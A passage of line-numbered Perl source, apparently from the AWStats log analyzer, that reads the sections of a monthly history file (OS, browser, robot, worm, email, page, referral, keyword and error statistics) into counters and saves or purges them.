2677 my $count=0;my $countloaded=0;
2678 do {
2679 if ($field[0]) {
2680 $count++;
2681 if ($SectionsToLoad{'os'}) {
2682 $countloaded++;
2683 if ($field[1]) { $_os_h{$field[0]}+=$field[1]; }
2684 }
2685 }
2686 $_=<HISTORY>;
2687 chomp $_; s/\r//;
2688 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
2689 }
2690 until ($field[0] eq 'END_OS' || $field[0] eq "${xmleb}END_OS" || ! $_);
2691 if ($field[0] ne 'END_OS' && $field[0] ne "${xmleb}END_OS") { error("History file \"$filetoread\" is corrupted (End of section OS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
2692 if ($Debug) { debug(" End of OS section ($count entries, $countloaded loaded)"); }
2693 delete $SectionsToLoad{'os'};
2694 if ($SectionsToSave{'os'}) {
2695 Save_History('os',$year,$month,$date); delete $SectionsToSave{'os'};
2696 if ($withpurge) { %_os_h=(); }
2697 }
2698 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
2699 next;
2700 }
2701 # BEGIN_BROWSER
2702 if ($field[0] eq 'BEGIN_BROWSER') {
2703 if ($Debug) { debug(" Begin of BROWSER section"); }
2704 $field[0]='';
2705 my $count=0;my $countloaded=0;
2706 do {
2707 if ($field[0]) {
2708 $count++;
2709 if ($SectionsToLoad{'browser'}) {
2710 $countloaded++;
2711 if ($field[1]) { $_browser_h{$field[0]}+=$field[1]; }
2712 }
2713 }
2714 $_=<HISTORY>;
2715 chomp $_; s/\r//;
2716 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
2717 }
2718 until ($field[0] eq 'END_BROWSER' || $field[0] eq "${xmleb}END_BROWSER" || ! $_);
2719 if ($field[0] ne 'END_BROWSER' && $field[0] ne "${xmleb}END_BROWSER") { error("History file \"$filetoread\" is corrupted (End of section BROWSER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
2720 if ($Debug) { debug(" End of BROWSER section ($count entries, $countloaded loaded)"); }
2721 delete $SectionsToLoad{'browser'};
2722 if ($SectionsToSave{'browser'}) {
2723 Save_History('browser',$year,$month,$date); delete $SectionsToSave{'browser'};
2724 if ($withpurge) { %_browser_h=(); }
2725 }
2726 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
2727 next;
2728 }
2729 # BEGIN_UNKNOWNREFERER
2730 if ($field[0] eq 'BEGIN_UNKNOWNREFERER') {
2731 if ($Debug) { debug(" Begin of UNKNOWNREFERER section"); }
2732 $field[0]='';
2733 my $count=0;my $countloaded=0;
2734 do {
2735 if ($field[0]) {
2736 $count++;
2737 if ($SectionsToLoad{'unknownreferer'}) {
2738 $countloaded++;
2739 if (! $_unknownreferer_l{$field[0]}) { $_unknownreferer_l{$field[0]}=int($field[1]); }
2740 }
2741 }
2742 $_=<HISTORY>;
2743 chomp $_; s/\r//;
2744 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
2745 }
2746 until ($field[0] eq 'END_UNKNOWNREFERER' || $field[0] eq "${xmleb}END_UNKNOWNREFERER" || ! $_);
2747 if ($field[0] ne 'END_UNKNOWNREFERER' && $field[0] ne "${xmleb}END_UNKNOWNREFERER") { error("History file \"$filetoread\" is corrupted (End of section UNKNOWNREFERER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
2748 if ($Debug) { debug(" End of UNKNOWNREFERER section ($count entries, $countloaded loaded)"); }
2749 delete $SectionsToLoad{'unknownreferer'};
2750 if ($SectionsToSave{'unknownreferer'}) {
2751 Save_History('unknownreferer',$year,$month,$date); delete $SectionsToSave{'unknownreferer'};
2752 if ($withpurge) { %_unknownreferer_l=(); }
2753 }
2754 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
2755 next;
2756 }
2757 # BEGIN_UNKNOWNREFERERBROWSER
2758 if ($field[0] eq 'BEGIN_UNKNOWNREFERERBROWSER') {
2759 if ($Debug) { debug(" Begin of UNKNOWNREFERERBROWSER section"); }
2760 $field[0]='';
2761 my $count=0;my $countloaded=0;
2762 do {
2763 if ($field[0]) {
2764 $count++;
2765 if ($SectionsToLoad{'unknownrefererbrowser'}) {
2766 $countloaded++;
2767 if (! $_unknownrefererbrowser_l{$field[0]}) { $_unknownrefererbrowser_l{$field[0]}=int($field[1]); }
2768 }
2769 }
2770 $_=<HISTORY>;
2771 chomp $_; s/\r//;
2772 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
2773 }
2774 until ($field[0] eq 'END_UNKNOWNREFERERBROWSER' || $field[0] eq "${xmleb}END_UNKNOWNREFERERBROWSER" || ! $_);
2775 if ($field[0] ne 'END_UNKNOWNREFERERBROWSER' && $field[0] ne "${xmleb}END_UNKNOWNREFERERBROWSER") { error("History file \"$filetoread\" is corrupted (End of section UNKNOWNREFERERBROWSER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
2776 if ($Debug) { debug(" End of UNKNOWNREFERERBROWSER section ($count entries, $countloaded loaded)"); }
2777 delete $SectionsToLoad{'unknownrefererbrowser'};
2778 if ($SectionsToSave{'unknownrefererbrowser'}) {
2779 Save_History('unknownrefererbrowser',$year,$month,$date); delete $SectionsToSave{'unknownrefererbrowser'};
2780 if ($withpurge) { %_unknownrefererbrowser_l=(); }
2781 }
2782 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
2783 next;
2784 }
2785 # BEGIN_SCREENSIZE
2786 if ($field[0] eq 'BEGIN_SCREENSIZE') {
2787 if ($Debug) { debug(" Begin of SCREENSIZE section"); }
2788 $field[0]='';
2789 my $count=0;my $countloaded=0;
2790 do {
2791 if ($field[0]) {
2792 $count++;
2793 if ($SectionsToLoad{'screensize'}) {
2794 $countloaded++;
2795 if ($field[1]) { $_screensize_h{$field[0]}+=$field[1]; }
2796 }
2797 }
2798 $_=<HISTORY>;
2799 chomp $_; s/\r//;
2800 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
2801 }
2802 until ($field[0] eq 'END_SCREENSIZE' || $field[0] eq "${xmleb}END_SCREENSIZE" || ! $_);
2803 if ($field[0] ne 'END_SCREENSIZE' && $field[0] ne "${xmleb}END_SCREENSIZE") { error("History file \"$filetoread\" is corrupted (End of section SCREENSIZE not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
2804 if ($Debug) { debug(" End of SCREENSIZE section ($count entries, $countloaded loaded)"); }
2805 delete $SectionsToLoad{'screensize'};
2806 if ($SectionsToSave{'screensize'}) {
2807 Save_History('screensize',$year,$month,$date); delete $SectionsToSave{'screensize'};
2808 if ($withpurge) { %_screensize_h=(); }
2809 }
2810 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
2811 next;
2812 }
2813 # BEGIN_ROBOT
2814 if ($field[0] eq 'BEGIN_ROBOT') {
2815 if ($Debug) { debug(" Begin of ROBOT section"); }
2816 $field[0]='';
2817 my $count=0;my $countloaded=0;
2818 do {
2819 if ($field[0]) {
2820 $count++;
2821 if ($SectionsToLoad{'robot'}) {
2822 $countloaded++;
2823 if ($field[1]) { $_robot_h{$field[0]}+=$field[1]; }
2824 $_robot_k{$field[0]}+=$field[2];
2825 if (! $_robot_l{$field[0]}) { $_robot_l{$field[0]}=int($field[3]); }
2826 if ($field[4]) { $_robot_r{$field[0]}+=$field[4]; }
2827 }
2828 }
2829 $_=<HISTORY>;
2830 chomp $_; s/\r//;
2831 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
2832 }
2833 until ($field[0] eq 'END_ROBOT' || $field[0] eq "${xmleb}END_ROBOT" || ! $_);
2834 if ($field[0] ne 'END_ROBOT' && $field[0] ne "${xmleb}END_ROBOT") { error("History file \"$filetoread\" is corrupted (End of section ROBOT not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
2835 if ($Debug) { debug(" End of ROBOT section ($count entries, $countloaded loaded)"); }
2836 delete $SectionsToLoad{'robot'};
2837 if ($SectionsToSave{'robot'}) {
2838 Save_History('robot',$year,$month,$date); delete $SectionsToSave{'robot'};
2839 if ($withpurge) { %_robot_h=(); %_robot_k=(); %_robot_l=(); %_robot_r=(); }
2840 }
2841 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
2842 next;
2843 }
2844 # BEGIN_WORMS
2845 if ($field[0] eq 'BEGIN_WORMS') {
2846 if ($Debug) { debug(" Begin of WORMS section"); }
2847 $field[0]='';
2848 my $count=0;my $countloaded=0;
2849 do {
2850 if ($field[0]) {
2851 $count++;
2852 if ($SectionsToLoad{'worms'}) {
2853 $countloaded++;
2854 if ($field[1]) { $_worm_h{$field[0]}+=$field[1]; }
2855 $_worm_k{$field[0]}+=$field[2];
2856 if (! $_worm_l{$field[0]}) { $_worm_l{$field[0]}=int($field[3]); }
2857 }
2858 }
2859 $_=<HISTORY>;
2860 chomp $_; s/\r//;
2861 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
2862 }
2863 until ($field[0] eq 'END_WORMS' || $field[0] eq "${xmleb}END_WORMS" || ! $_);
2864 if ($field[0] ne 'END_WORMS' && $field[0] ne "${xmleb}END_WORMS") { error("History file \"$filetoread\" is corrupted (End of section WORMS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
2865 if ($Debug) { debug(" End of WORMS section ($count entries, $countloaded loaded)"); }
2866 delete $SectionsToLoad{'worms'};
2867 if ($SectionsToSave{'worms'}) {
2868 Save_History('worms',$year,$month,$date); delete $SectionsToSave{'worms'};
2869 if ($withpurge) { %_worm_h=(); %_worm_k=(); %_worm_l=(); }
2870 }
2871 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
2872 next;
2873 }
2874 # BEGIN_EMAILS
2875 if ($field[0] eq 'BEGIN_EMAILSENDER') {
2876 if ($Debug) { debug(" Begin of EMAILSENDER section"); }
2877 $field[0]='';
2878 my $count=0;my $countloaded=0;
2879 do {
2880 if ($field[0]) {
2881 $count++;
2882 if ($SectionsToLoad{'emailsender'}) {
2883 $countloaded++;
2884 if ($field[1]) { $_emails_h{$field[0]}+=$field[1]; }
2885 if ($field[2]) { $_emails_k{$field[0]}+=$field[2]; }
2886 if (! $_emails_l{$field[0]}) { $_emails_l{$field[0]}=int($field[3]); }
2887 }
2888 }
2889 $_=<HISTORY>;
2890 chomp $_; s/\r//;
2891 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
2892 }
2893 until ($field[0] eq 'END_EMAILSENDER' || $field[0] eq "${xmleb}END_EMAILSENDER" || ! $_);
2894 if ($field[0] ne 'END_EMAILSENDER' && $field[0] ne "${xmleb}END_EMAILSENDER") { error("History file \"$filetoread\" is corrupted (End of section EMAILSENDER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
2895 if ($Debug) { debug(" End of EMAILSENDER section ($count entries, $countloaded loaded)"); }
2896 delete $SectionsToLoad{'emailsender'};
2897 if ($SectionsToSave{'emailsender'}) {
2898 Save_History('emailsender',$year,$month,$date); delete $SectionsToSave{'emailsender'};
2899 if ($withpurge) { %_emails_h=(); %_emails_k=(); %_emails_l=(); }
2900 }
2901 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
2902 next;
2903 }
2904 # BEGIN_EMAILR
2905 if ($field[0] eq 'BEGIN_EMAILRECEIVER') {
2906 if ($Debug) { debug(" Begin of EMAILRECEIVER section"); }
2907 $field[0]='';
2908 my $count=0;my $countloaded=0;
2909 do {
2910 if ($field[0]) {
2911 $count++;
2912 if ($SectionsToLoad{'emailreceiver'}) {
2913 $countloaded++;
2914 if ($field[1]) { $_emailr_h{$field[0]}+=$field[1]; }
2915 if ($field[2]) { $_emailr_k{$field[0]}+=$field[2]; }
2916 if (! $_emailr_l{$field[0]}) { $_emailr_l{$field[0]}=int($field[3]); }
2917 }
2918 }
2919 $_=<HISTORY>;
2920 chomp $_; s/\r//;
2921 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
2922 }
2923 until ($field[0] eq 'END_EMAILRECEIVER' || $field[0] eq "${xmleb}END_EMAILRECEIVER" || ! $_);
2924 if ($field[0] ne 'END_EMAILRECEIVER' && $field[0] ne "${xmleb}END_EMAILRECEIVER") { error("History file \"$filetoread\" is corrupted (End of section EMAILRECEIVER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
2925 if ($Debug) { debug(" End of EMAILRECEIVER section ($count entries, $countloaded loaded)"); }
2926 delete $SectionsToLoad{'emailreceiver'};
2927 if ($SectionsToSave{'emailreceiver'}) {
2928 Save_History('emailreceiver',$year,$month,$date); delete $SectionsToSave{'emailreceiver'};
2929 if ($withpurge) { %_emailr_h=(); %_emailr_k=(); %_emailr_l=(); }
2930 }
2931 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
2932 next;
2933 }
2934 # BEGIN_SIDER
2935 if ($field[0] eq 'BEGIN_SIDER') {
2936 if ($Debug) { debug(" Begin of SIDER section"); }
2937 $field[0]='';
2938 my $count=0;my $countloaded=0;
2939 do {
2940 if ($field[0]) {
2941 $count++;
2942 if ($SectionsToLoad{'sider'}) {
2943 my $loadrecord=0;
2944 if ($withupdate) {
2945 $loadrecord=1;
2946 }
2947 else {
2948 if ($HTMLOutput{'main'}) {
2949 if ($MonthRequired eq 'all') { $loadrecord=1; }
2950 else {
2951 if ($countloaded < $MaxNbOf{'PageShown'} && $field[1] >= $MinHit{'File'}) { $loadrecord=1; }
2952 $TotalDifferentPages++;
2953 }
2954 }
2955 else { # This is for $HTMLOutput = urldetail, urlentry or urlexit
2956 if ($MonthRequired eq 'all' ) {
2957 if ((!$FilterIn{'url'} || $field[0] =~ /$FilterIn{'url'}/)
2958 && (!$FilterEx{'url'} || $field[0] !~ /$FilterEx{'url'}/)) { $loadrecord=1; }
2959 }
2960 else {
2961 if ((!$FilterIn{'url'} || $field[0] =~ /$FilterIn{'url'}/)
2962 && (!$FilterEx{'url'} || $field[0] !~ /$FilterEx{'url'}/)
2963 && $field[1] >= $MinHit{'File'}) { $loadrecord=1; }
2964 $TotalDifferentPages++;
2965 }
2966 }
2967 # Posssibilite de mettre if ($FilterIn{'url'} && $field[0] =~ /$FilterIn{'url'}/) mais il faut gerer TotalPages de la meme maniere
2968 $TotalBytesPages+=($field[2]||0);
2969 $TotalEntries+=($field[3]||0);
2970 $TotalExits+=($field[4]||0);
2971 }
2972 if ($loadrecord) {
2973 if ($field[1]) { $_url_p{$field[0]}+=$field[1]; }
2974 if ($field[2]) { $_url_k{$field[0]}+=$field[2]; }
2975 if ($field[3]) { $_url_e{$field[0]}+=$field[3]; }
2976 if ($field[4]) { $_url_x{$field[0]}+=$field[4]; }
2977 $countloaded++;
2978 }
2979 }
2980 }
2981 $_=<HISTORY>;
2982 chomp $_; s/\r//;
2983 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
2984 }
2985 until ($field[0] eq 'END_SIDER' || $field[0] eq "${xmleb}END_SIDER" || ! $_);
2986 if ($field[0] ne 'END_SIDER' && $field[0] ne "${xmleb}END_SIDER") { error("History file \"$filetoread\" is corrupted (End of section SIDER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
2987 if ($Debug) { debug(" End of SIDER section ($count entries, $countloaded loaded)"); }
2988 delete $SectionsToLoad{'sider'};
2989 # WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR
2990 #if ($SectionsToSave{'sider'}) {
2991 # Save_History('sider',$year,$month,$date); delete $SectionsToSave{'sider'};
2992 # if ($withpurge) { %_url_p=(); %_url_k=(); %_url_e=(); %_url_x=(); }
2993 #}
2994 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
2995 next;
2996 }
2997 # BEGIN_FILETYPES
2998 if ($field[0] eq 'BEGIN_FILETYPES') {
2999 if ($Debug) { debug(" Begin of FILETYPES section"); }
3000 $field[0]='';
3001 my $count=0;my $countloaded=0;
3002 do {
3003 if ($field[0]) {
3004 $count++;
3005 if ($SectionsToLoad{'filetypes'}) {
3006 $countloaded++;
3007 if ($field[1]) { $_filetypes_h{$field[0]}+=$field[1]; }
3008 if ($field[2]) { $_filetypes_k{$field[0]}+=$field[2]; }
3009 if ($field[3]) { $_filetypes_gz_in{$field[0]}+=$field[3]; }
3010 if ($field[4]) { $_filetypes_gz_out{$field[0]}+=$field[4]; }
3011 }
3012 }
3013 $_=<HISTORY>;
3014 chomp $_; s/\r//;
3015 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
3016 }
3017 until ($field[0] eq 'END_FILETYPES' || $field[0] eq "${xmleb}END_FILETYPES" || ! $_);
3018 if ($field[0] ne 'END_FILETYPES' && $field[0] ne "${xmleb}END_FILETYPES") { error("History file \"$filetoread\" is corrupted (End of section FILETYPES not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
3019 if ($Debug) { debug(" End of FILETYPES section ($count entries, $countloaded loaded)"); }
3020 delete $SectionsToLoad{'filetypes'};
3021 if ($SectionsToSave{'filetypes'}) {
3022 Save_History('filetypes',$year,$month,$date); delete $SectionsToSave{'filetypes'};
3023 if ($withpurge) { %_filetypes_h=(); %_filetypes_k=(); %_filetypes_gz_in=(); %_filetypes_gz_out=(); }
3024 }
3025 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
3026 next;
3027 }
3028 # BEGIN_SEREFERRALS
3029 if ($field[0] eq 'BEGIN_SEREFERRALS') {
3030 if ($Debug) { debug(" Begin of SEREFERRALS section"); }
3031 $field[0]='';
3032 my $count=0;my $countloaded=0;
3033 do {
3034 if ($field[0]) {
3035 $count++;
3036 if ($SectionsToLoad{'sereferrals'}) {
3037 $countloaded++;
3038 if ($versionnum < 5004) { # For history files < 5.4
3039 my $se=$field[0]; $se=~s/\./\\./g;
3040 if ($SearchEnginesHashID{$se}) {
3041 $_se_referrals_h{$SearchEnginesHashID{$se}}+=$field[1]||0;
3042 }
3043 else {
3044 $_se_referrals_h{$field[0]}+=$field[1]||0;
3045 }
3046 }
3047 elsif ($versionnum < 5091) { # For history files < 5.91
3048 my $se=$field[0]; $se=~s/\./\\./g;
3049 if ($SearchEnginesHashID{$se}) {
3050 $_se_referrals_p{$SearchEnginesHashID{$se}}+=$field[1]||0;
3051 $_se_referrals_h{$SearchEnginesHashID{$se}}+=$field[2]||0;
3052 }
3053 else {
3054 $_se_referrals_p{$field[0]}+=$field[1]||0;
3055 $_se_referrals_h{$field[0]}+=$field[2]||0;
3056 }
3057 } else {
3058 if ($field[1]) { $_se_referrals_p{$field[0]}+=$field[1]; }
3059 if ($field[2]) { $_se_referrals_h{$field[0]}+=$field[2]; }
3060 }
3061 }
3062 }
3063 $_=<HISTORY>;
3064 chomp $_; s/\r//;
3065 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
3066 }
3067 until ($field[0] eq 'END_SEREFERRALS' || $field[0] eq "${xmleb}END_SEREFERRALS" || ! $_);
3068 if ($field[0] ne 'END_SEREFERRALS' && $field[0] ne "${xmleb}END_SEREFERRALS") { error("History file \"$filetoread\" is corrupted (End of section SEREFERRALS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
3069 if ($Debug) { debug(" End of SEREFERRALS section ($count entries, $countloaded loaded)"); }
3070 delete $SectionsToLoad{'sereferrals'};
3071 if ($SectionsToSave{'sereferrals'}) {
3072 Save_History('sereferrals',$year,$month,$date); delete $SectionsToSave{'sereferrals'};
3073 if ($withpurge) { %_se_referrals_p=(); %_se_referrals_h=(); }
3074 }
3075 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
3076 next;
3077 }
3078 # BEGIN_PAGEREFS
3079 if ($field[0] eq 'BEGIN_PAGEREFS') {
3080 if ($Debug) { debug(" Begin of PAGEREFS section"); }
3081 $field[0]='';
3082 my $count=0;my $countloaded=0;
3083 do {
3084 if ($field[0]) {
3085 $count++;
3086 if ($SectionsToLoad{'pagerefs'}) {
3087 my $loadrecord=0;
3088 if ($withupdate) {
3089 $loadrecord=1;
3090 }
3091 else {
3092 if ((!$FilterIn{'refererpages'} || $field[0] =~ /$FilterIn{'refererpages'}/)
3093 && (!$FilterEx{'refererpages'} || $field[0] !~ /$FilterEx{'refererpages'}/)) { $loadrecord=1; }
3094 }
3095 if ($loadrecord) {
3096 if ($versionnum < 5004) { # For history files < 5.4
3097 if ($field[1]) { $_pagesrefs_h{$field[0]}+=int($field[1]); }
3098 } else {
3099 if ($field[1]) { $_pagesrefs_p{$field[0]}+=int($field[1]); }
3100 if ($field[2]) { $_pagesrefs_h{$field[0]}+=int($field[2]); }
3101 }
3102 $countloaded++;
3103 }
3104 }
3105 }
3106 $_=<HISTORY>;
3107 chomp $_; s/\r//;
3108 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
3109 }
3110 until ($field[0] eq 'END_PAGEREFS' || $field[0] eq "${xmleb}END_PAGEREFS" || ! $_);
3111 if ($field[0] ne 'END_PAGEREFS' && $field[0] ne "${xmleb}END_PAGEREFS") { error("History file \"$filetoread\" is corrupted (End of section PAGEREFS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
3112 if ($Debug) { debug(" End of PAGEREFS section ($count entries, $countloaded loaded)"); }
3113 delete $SectionsToLoad{'pagerefs'};
3114 if ($SectionsToSave{'pagerefs'}) {
3115 Save_History('pagerefs',$year,$month,$date); delete $SectionsToSave{'pagerefs'};
3116 if ($withpurge) { %_pagesrefs_p=(); %_pagesrefs_h=(); }
3117 }
3118 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
3119 next;
3120 }
3121 # BEGIN_SEARCHWORDS
3122 if ($field[0] eq 'BEGIN_SEARCHWORDS') {
3123 if ($Debug) { debug(" Begin of SEARCHWORDS section ($MaxNbOf{'KeyphrasesShown'},$MinHit{'Keyphrase'})"); }
3124 $field[0]='';
3125 my $count=0;my $countloaded=0;
3126 do {
3127 if ($field[0]) {
3128 $count++;
3129 if ($SectionsToLoad{'searchwords'}) {
3130 my $loadrecord=0;
3131 if ($withupdate) {
3132 $loadrecord=1;
3133 }
3134 else {
3135 if ($HTMLOutput{'main'}) {
3136 if ($MonthRequired eq 'all') { $loadrecord=1; }
3137 else {
3138 if ($countloaded < $MaxNbOf{'KeyphrasesShown'} && $field[1] >= $MinHit{'Keyphrase'}) { $loadrecord=1; }
3139 $TotalDifferentKeyphrases++;
3140 $TotalKeyphrases+=($field[1]||0);
3141 }
3142 }
3143 elsif ($HTMLOutput{'keyphrases'}) { # Load keyphrases for keyphrases chart
3144 if ($MonthRequired eq 'all' ) { $loadrecord=1; }
3145 else {
3146 if ($field[1] >= $MinHit{'Keyphrase'}) { $loadrecord=1; }
3147 $TotalDifferentKeyphrases++;
3148 $TotalKeyphrases+=($field[1]||0);
3149 }
3150 }
3151 if ($HTMLOutput{'keywords'}) { # Load keyphrases for keywords chart
3152 $loadrecord=2;
3153 }
3154 }
3155 if ($loadrecord) {
3156 if ($field[1]) {
3157 if ($loadrecord==2) {
3158 foreach (split(/\+/,$field[0])) { # field[0] is "val1+val2+..."
3159 $_keywords{$_}+=$field[1];
3160 }
3161 }
3162 else {
3163 $_keyphrases{$field[0]}+=$field[1];
3164 }
3165 }
3166 $countloaded++;
3167 }
3168 }
3169 }
3170 $_=<HISTORY>;
3171 chomp $_; s/\r//;
3172 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
3173 }
3174 until ($field[0] eq 'END_SEARCHWORDS' || $field[0] eq "${xmleb}END_SEARCHWORDS" || ! $_);
3175 if ($field[0] ne 'END_SEARCHWORDS' && $field[0] ne "${xmleb}END_SEARCHWORDS") { error("History file \"$filetoread\" is corrupted (End of section SEARCHWORDS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
3176 if ($Debug) { debug(" End of SEARCHWORDS section ($count entries, $countloaded loaded)"); }
3177 delete $SectionsToLoad{'searchwords'};
3178 if ($SectionsToSave{'searchwords'}) {
3179 Save_History('searchwords',$year,$month,$date); delete $SectionsToSave{'searchwords'}; # This save searwords and keywords sections
3180 if ($withpurge) { %_keyphrases=(); }
3181 }
3182 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
3183 next;
3184 }
3185 # BEGIN_KEYWORDS
3186 if ($field[0] eq 'BEGIN_KEYWORDS') {
3187 if ($Debug) { debug(" Begin of KEYWORDS section ($MaxNbOf{'KeywordsShown'},$MinHit{'Keyword'})"); }
3188 $field[0]='';
3189 my $count=0;my $countloaded=0;
3190 do {
3191 if ($field[0]) {
3192 $count++;
3193 if ($SectionsToLoad{'keywords'}) {
3194 my $loadrecord=0;
3195 if ($MonthRequired eq 'all') { $loadrecord=1; }
3196 else {
3197 if ($countloaded < $MaxNbOf{'KeywordsShown'} && $field[1] >= $MinHit{'Keyword'}) { $loadrecord=1; }
3198 $TotalDifferentKeywords++;
3199 $TotalKeywords+=($field[1]||0);
3200 }
3201 if ($loadrecord) {
3202 if ($field[1]) { $_keywords{$field[0]}+=$field[1]; }
3203 $countloaded++;
3204 }
3205 }
3206 }
3207 $_=<HISTORY>;
3208 chomp $_; s/\r//;
3209 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
3210 }
3211 until ($field[0] eq 'END_KEYWORDS' || $field[0] eq "${xmleb}END_KEYWORDS" || ! $_);
3212 if ($field[0] ne 'END_KEYWORDS' && $field[0] ne "${xmleb}END_KEYWORDS") { error("History file \"$filetoread\" is corrupted (End of section KEYWORDS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
3213 if ($Debug) { debug(" End of KEYWORDS section ($count entries, $countloaded loaded)"); }
3214 delete $SectionsToLoad{'keywords'};
3215 if ($SectionsToSave{'keywords'}) {
3216 Save_History('keywords',$year,$month,$date); delete $SectionsToSave{'keywords'};
3217 if ($withpurge) { %_keywords=(); }
3218 }
3219 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
3220 next;
3221 }
3222 # BEGIN_ERRORS
3223 if ($field[0] eq 'BEGIN_ERRORS') {
3224 if ($Debug) { debug(" Begin of ERRORS section"); }
3225 $field[0]='';
3226 my $count=0;my $countloaded=0;
3227 do {
3228 if ($field[0]) {
3229 $count++;
3230 if ($SectionsToLoad{'errors'}) {
3231 $countloaded++;
3232 if ($field[1]) { $_errors_h{$field[0]}+=$field[1]; }
3233 if ($field[2]) { $_errors_k{$field[0]}+=$field[2]; }
3234 }
3235 }
3236 $_=<HISTORY>;
3237 chomp $_; s/\r//;
3238 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
3239 }
3240 until ($field[0] eq 'END_ERRORS' || $field[0] eq "${xmleb}END_ERRORS" || ! $_);
3241 if ($field[0] ne 'END_ERRORS' && $field[0] ne "${xmleb}END_ERRORS") { error("History file \"$filetoread\" is corrupted (End of section ERRORS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
3242 if ($Debug) { debug(" End of ERRORS section ($count entries, $countloaded loaded)"); }
3243 delete $SectionsToLoad{'errors'};
3244 if ($SectionsToSave{'errors'}) {
3245 Save_History('errors',$year,$month,$date); delete $SectionsToSave{'errors'};
3246 if ($withpurge) { %_errors_h=(); %_errors_k=(); }
3247 }
3248 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
3249 next;
3250 }
3251 # BEGIN_SIDER_xxx
3252 foreach my $code (keys %TrapInfosForHTTPErrorCodes) {
3253 if ($field[0] eq "BEGIN_SIDER_$code") {
3254 if ($Debug) { debug(" Begin of SIDER_$code section"); }
3255 $field[0]='';
3256 my $count=0;my $countloaded=0;
3257 do {
3258 if ($field[0]) {
3259 $count++;
3260 if ($SectionsToLoad{"sider_$code"}) {
3261 $countloaded++;
3262 if ($field[1]) { $_sider404_h{$field[0]}+=$field[1]; }
3263 if ($withupdate || $HTMLOutput{"errors$code"}) {
3264 if ($field[2]) { $_referer404_h{$field[0]}=$field[2]; }
3265 }
3266 }
3267 }
3268 $_=<HISTORY>;
3269 chomp $_; s/\r//;
3270 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
3271 }
3272 until ($field[0] eq "END_SIDER_$code" || $field[0] eq "${xmleb}END_SIDER_$code" || ! $_);
